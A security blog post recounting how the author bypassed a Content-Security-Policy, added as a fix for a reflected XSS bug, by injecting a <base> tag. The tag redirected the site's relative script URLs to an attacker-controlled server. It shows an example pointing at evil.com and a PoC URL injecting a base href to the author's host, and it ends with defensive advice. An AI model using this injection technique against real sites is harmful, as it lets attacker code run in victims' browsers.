↓ Skip to main content

All your base are belong to... me?

·5 mins
I wrote this in January 2020 on my old Blogger site but never hit publish. It’s finally out of the drafts folder.
The word BASE in angle brackets over a blurred code background

Yeah, yeah, bad meme. I’m sorry. But I had truly never heard of the base tag until I was recently triaging a bug bounty report, and I ended up bypassing the proposed fix with… you guessed it, the base tag.

What even is the base tag?
#

Like all good learning opportunities, I always suggest checking out the Mozilla Developer Network (MDN) first. I’ve personally found their articles to be incredibly helpful when I’m trying to understand a web specification rather than reading the spec itself.

https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/base

Simply put, the base tag defines the base URL to be used when a relative URL is supplied in the page. Below is a more explained example in the form of a real HTML snippet.

<!-- Inject a <base> tag before any relative URLs on the page... -->
<base href="https://evil.com">

<!--
...and these relative src attributes now resolve to:
  https://evil.com/img/logo.png
  https://evil.com/js/main.js
-->
<img src="/img/logo.png">
<script src="/js/main.js"></script>

<!-- So, you can imagine the kind of damage you can do if you can inject a <base> tag into a webpage -->

Great, so what happened? Say hello to CSP!
#

The long story condensed to a short one - A very, very basic reflected cross-site scripting (XSS) issue was reported to the bug bounty program. No big deal, I figured, file a ticket with clear steps on reproduction, and it’ll get fixed. Or so I thought…

The proposed and deployed fix to the bug was adding a Content-Security-Policy (CSP) to all HTTP responses and calling it a day.

Tom Hanks in Apollo 13: ‘Houston, we have a problem’

Now, let’s just get a few things out on the table. CSP is great as a defense-in-depth measure. I firmly believe more people should establish a well thought out CSP for their web apps. But, you should never solve an easily fixed XSS issue by applying a CSP and walking away.

So, what does a mildly annoyed engineer do? Bypass the dang CSP and add a new Proof-of-Concept (PoC) payload to the ticket, of course! Down the rabbit hole we go…

Evaluating CSPs
#

There’s a real great Google CSP Evaluator application that will evaluate a CSP and report potential issues. You can check it out at: https://csp-evaluator.withgoogle.com/

This is where I started, and I highly suggest you do something similar when asked to evaluate the efficacy of any CSP.

This, of course, leads us to the output from our development site when evaluating the CSP.

Google CSP Evaluator results flagging a missing base-uri directive

Everything seems good, lots of green, and then you notice the bottom note which says:

Missing base-uri allows the injection of base tags. They can be used to set the base URL for all relative (script) URLs to an attacker controlled domain. Can you set it to ’none’ or ‘self’?

Will Ferrell shouting ‘Say whaaat’

Why does this get past the CSP?
#

Take a closer look at the script-src directive: 'nonce-...' 'strict-dynamic'. With a nonce-based CSP, the browser trusts any <script> tag that carries the right nonce, and 'strict-dynamic' tells it to ignore host allowlists entirely. The site’s own script tags have the nonce, so they’re trusted no matter where their src points.

That’s the whole trick. I can’t add a script tag of my own (I don’t know the nonce), but I don’t need to. If I can change where the site’s existing, trusted script tags load from, the browser will happily run my JavaScript with the site’s blessing. And a base tag does exactly that for any script tag using a relative URL.

Putting it all together - PoC or GTFO
#

Combining all things together we have the following scenario:

  • Known, working reflected XSS allowing basically anything through
  • A mostly solid CSP, but it allows redefining the base-uri
  • An annoyed engineer who wants to prove a point

Taking the knowledge from above, the first thing we look for are links in the response that are relative. Without any relative links, defining a base tag in the response will get us nothing. They also need to come after our injection point in the page, since the base tag only affects URLs that are resolved after it shows up (and if the page already has its own base tag, the first one wins).

The good news: we have relative CSS and Javascript sources further down the page. Woo!

Now, we just adjust the original payload to be a base tag like so:

https://example.com/user/sign-up/next?email=<base href="https://poc.smarpo.com">

We have a subdomain pointed at an internet-facing server we control. In my case, that’s a throwaway DigitalOcean machine. We create the directory structure required by the website. For example, the javascript source looked like: src="/js/main/frontend/includes.js" - So, we create the directories required: js, main, frontend, and finally place our XSS payload inside of includes.js on our remote server. Then you can launch a simple python web server to serve your malicious JS file.

Terminal creating the js/main/frontend/includes.js payload and serving it with a Python web server

Now when our payload URL is requested, any relative links will be served from my domain but in the context of the victim website. A simple alert(document.domain) payload will prove this.

So, what’s the point?
#

A few takeaways here:

  • Don’t ever attempt to solve XSS with only CSP. Focus on framework-level mitigations where possible, but if not an option, sanitize your output for the appropriate context. HTML/URL encode where it makes sense. JS escape where it makes sense. And never, ever trust user-input to be safe.
  • If you do deploy a nonce-based CSP (which you should!), always include base-uri 'none' (or 'self' if you actually use a base tag). base-uri does not fall back to default-src, so leaving it out means it’s wide open.
  • CSP is hard to get right! Always validate your CSP against public tools that help find loopholes and shortcomings.
  • The base tag is an incredibly powerful tag when attempting to get an XSS payload to work. In cases where you are dealing with HTML tag filtering, it might make sense to try the base tag.

Thanks for making it this far down the page. Feel obligated to point out something I screwed up or potentially have a differing opinion? Let me know in the comments below.

Sean Marpo
Author
Sean Marpo
I break web apps for a living and build software on the side.

Related